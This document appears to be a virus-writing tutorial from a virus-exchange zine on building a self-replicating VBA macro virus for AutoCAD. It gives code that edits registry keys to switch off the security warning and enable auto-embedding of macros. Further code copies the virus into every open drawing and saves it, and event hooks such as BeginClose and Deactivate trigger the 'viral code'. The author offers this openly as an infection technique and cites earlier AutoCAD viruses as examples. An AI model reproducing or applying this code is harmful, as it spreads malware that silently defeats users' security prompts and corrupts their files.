.Autocad a short introduction


If you know some of the basics of word (or just office) macro coding making the jump
to autocad isnt that much of a leap , it isnt that different and to be honest i cant
understand why no-one did it earlier ... ok autocad/star wasnt all that good (526 bytes of pure terror lol) but i think the idea got better with acad/galaxy so here goes...

Ok autocad is vba enabled with 2 minor differences ... 1 the projects cannot directly
reference each other and 2 the macros arent automatically merged with a saved document.
Big problem I hear you say , well it would be but why not just switch those options off
when you run ? ;) 

Your first interest after the code is triggered is to alter 3 registry keys
under the currently logged in user.
The user is determined by

t1 = Application.Preferences.Profiles.ActiveProfile

and the keys will live here

[HKEY_CURRENT_USER\Software\Autodesk\AutoCAD\R15.0\ACAD-1:409\Profiles\" & t1 & "\acadvba]

AutoEmbedding <-- allows the project to automatically contain macros
AllowBreakOnErrors <-- same as ever
ShowSecurityDlg <-- no silly warnings

this done the rest is fairly easy , get a handle to the current autocad application and the VBE model

Set ACADApp = GetObject(, "AutoCAD.Application")
Set VBEModel = VBE

then the code cycles through all open autocad documents and looks for the one containing its code (we cant reference ourself remember)

le = 0 <-- this will be set if/when we find our code
For i = 1 To Documents.Count <-- loop through all available docs
Set at = VBEModel.codepanes(i).codemodule <-- sets relevant codepane to check
If at.lines(4, 1) = "Set VBEModel = VBE" And le = 0 Then <-- check for marker
newroutine = at.lines(1, at.countoflines) <-- sets newroutine to contain our code
le = 1 <-- sets the marker to say we have found our code and are ready to run
i = 0 <-- resets the loop counter so we can run fresh against everything
End If

then its just
If at.lines(4, 1) <> "Set VBEModel = VBE" And le = 1 Then <-- if no marker and we have code
VBEModel.codepanes(i).codemodule.InsertLines 1, newroutine <-- copy newroutine into doc
End If
ACADApp.Documents(i).Save
End If
Next i <-- oi oi next!
newroutine = "" <-- ummm for some reason acad will crash using this method unless we empty this... so its there for compatability ;)

so basically your code will run like this , hooking as many events as possible

Public WithEvents ACADApp As AcadApplication
Sub vir()
<--- viral code --->
end sub

Private Sub AcadDocument_BeginClose()
 Call vir
End Sub

Private Sub AcadDocument_Deactivate()
    Call vir
[...snip...]

this way is faster and more of a chance of it actually working ;)
check out acad/galaxy for an example of this technique :)

AntiState

Back to index